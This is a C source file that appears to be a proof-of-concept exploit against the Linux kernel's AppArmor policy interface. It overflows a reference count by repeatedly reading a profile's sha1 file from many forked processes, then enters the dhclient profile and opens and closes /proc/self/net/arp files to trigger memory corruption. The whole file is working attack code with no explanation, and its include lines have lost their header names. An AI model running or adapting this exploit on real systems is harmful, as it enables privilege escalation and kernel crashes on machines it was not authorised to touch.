#include #include #include #include #include #include #include #include #define BASE_PATH "/sys/kernel/security/apparmor/policy/profiles/sbin.dhclient.2" #define HASH_PATH BASE_PATH "/sha1" void add_references(int hash_fd, int refs_to_add) { char buf[1]; for (int i = 0; i < refs_to_add; ++i) { pread(hash_fd, buf, sizeof(buf), 0); } } int main(int argc, char** argv) { int hash_fd; int fds[0x100]; pid_t pid; hash_fd = open(HASH_PATH, O_RDONLY); if (hash_fd < 0) { err(-1, "failed to open HASH_PATH"); } fprintf(stderr, "[*] forking to speed up initial reference count increments\n"); for (int i = 0; i < 0xf; ++i) { if (!fork()) { add_references(hash_fd, 0x11111100); exit(0); } } for (int i = 0; i < 0xf; ++i) { int status; wait(&status); } fprintf(stderr, "[*] initial reference count increase finished\n"); fprintf(stderr, "[*] entering profile\n"); aa_change_profile("/sbin/dhclient"); pid = fork(); if (pid) { for (int i = 0; i < 0x100; ++i) { fds[i] = open("/proc/self/net/arp", O_RDONLY); } } else { add_references(hash_fd, 0x100); exit(0); } fprintf(stderr, "[*] past the point of no return"); sleep(5); for (int i = 0; i < 0x100; ++i) { close(fds[i]); } }